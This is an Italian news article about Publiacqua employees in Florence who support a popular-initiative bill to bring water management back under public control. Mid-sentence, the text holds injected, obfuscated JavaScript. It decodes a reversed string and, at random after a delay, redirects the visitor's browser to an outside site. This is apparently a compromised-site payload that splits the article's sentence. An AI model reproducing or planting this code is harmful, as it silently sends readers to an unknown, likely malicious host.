L’acqua a chi lavora

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Ci sono anche loro. C’è anche chi cerca di produrre i cambiamenti
dall’interno. Ci sono anche una ventina di lavoratori dipendenti di
Publiacqua, tra quelli che sostengono la proposta di legge di iniziativa
popolare per la ripubblicizzazione dell’acqua. E molti altri sono d’accordo,
anche se si espongono di meno. In pratica, dicono all’azienda per la quale
lavorano di fermare qualsiasi privatizzazione e di aprirsi a forme di gestione
più democratiche, nel nome dell’acqua come bene comune.
Hanno formato un Coordinamento, hanno avviato una campagna di sensibilzzazione
interna ed una sottoscrizione per l’autofinanziamento delle iniziative,
collaborano con i promotori della legge nella raccolta delle firme, e si
stanno anche colleg (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando ai lavoratori delle altre aziende toscane che hanno
intrapreso la via di privatizzazione. All’Asa (Livorno) e alla Gaia (Massa
Carrara e Lucca) esistono già coordinamenti simili, mentre altri contatti sono
in corso con i lavoratori di Acque SpA (Basso Valdarno), Nuove Acque (Arezzo)
e Fiora (Grosseto e Siena).
Cosa dice di preciso la proposta di legge? Dice che l’acqua è un diritto, e
che quindi non solo la proprietà di reti e infrastrutture, ma anche la
gestione del servizio idrico integrato deve rimanere totalmente in mano
pubblica.
Dice che i cittadini hanno diritto almeno a 40 litri di acqua al giorno
gratuitamente, e che la società civile e i lavoratori devono poter partecipare
alle scelte dell’azienda.
“è questo che ci piace – spiega Luciano D’Antonio, del coordinamento
lavoratori Publiacqua – cittadini e dipendenti devono avere la possibilità di
dire la loro, e la proposta di legge va proprio in questa direzione, con
l’istituzione in ogni ambito territoriale di Consulte del diritto all’acqua,
formate da utenti e lavoratori, che dovranno essere interpellate per ogni
decisione rilevante. Ci crediamo molto, è una scommessa: vogliamo inventarci
una nuova forma di democrazia. E vogliamo farlo a partire dall’acqua, bene
comune fondamentale, simbolo in tutto il mondo delle battaglie per
l’uguaglianza e la democrazia”.
Intanto, la raccolta di firme va avanti, e trova significativi sostenitori nel
mondo dei movimenti. Riccardo Petrella, presidente del Comitato italiano per
il Contratto mondiale dell’acqua (www.contrattoacqua.it), ha chiesto al Comune
di Firenze e alla Regione Toscana, prima in Italia nell’attuazione della
riforma verso la privatizzazione, una decisa inversione di rotta.
“Il governo del ciclo delle acque dev’essere pubblico – ha detto in occasione
di un’audizione in Palazzo Vecchio – Le istituzioni devono ascoltare la
società civile dei loro territori e devono fare propria la proposta di legge
di iniziativa popolare. Non c’è niente di male in una cultura aziendale, ma
semplicemente non può essere applicata al campo dei diritti/doveri. Il tempo
delle S.p.A. e del profitto sui beni comuni è finito – ha concluso – la
politica, quella con la P maiuscola, deve riprendersi il primato
sull’arroganza dei poteri forti, sulla miopia degli interessi settoriali e
corporativi”.

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